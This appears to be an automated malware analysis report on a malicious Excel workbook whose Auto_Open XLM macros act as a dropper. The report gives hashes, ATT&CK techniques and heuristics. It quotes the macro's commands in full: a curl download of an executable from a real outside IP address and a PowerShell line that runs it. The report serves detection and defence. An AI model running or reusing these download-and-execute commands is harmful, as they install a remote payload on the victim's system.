Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1e6a26062bbb9fb0…

MALICIOUS

Office (OOXML)

12.0 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300
MD5: c46864b60cbd593540b0df1b98a6f720 SHA-1: 1d61db1e0274d4c8bc9a259526d4f0af93a5d7e5 SHA-256: 1e6a26062bbb9fb04dfd48aada29254b8c4e4c4d657b977f4f496e3e2c26ab84
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains critical Excel 4.0 macros, including the use of dangerous functions like EXEC. Specifically, it uses 'EXEC("cmd /c curl http://45.89.127.230/images/yellowtank.png -o %appdata%\zYERS.exe")' to download a file and 'EXEC("powershell.exe start-sleep 10; $x=$env:AppData+'\zYERS.exe';Invoke-Expression $x")' to execute it. This indicates a clear intent to download and run a second-stage payload, likely for malicious purposes.

Heuristics 7

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.89.127.230/images/yellowtank.png
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
a82e4e66fec99f855f73a5eaa27eda863cf5ad296bbc9392f8916e26e782ed27		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1984 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).

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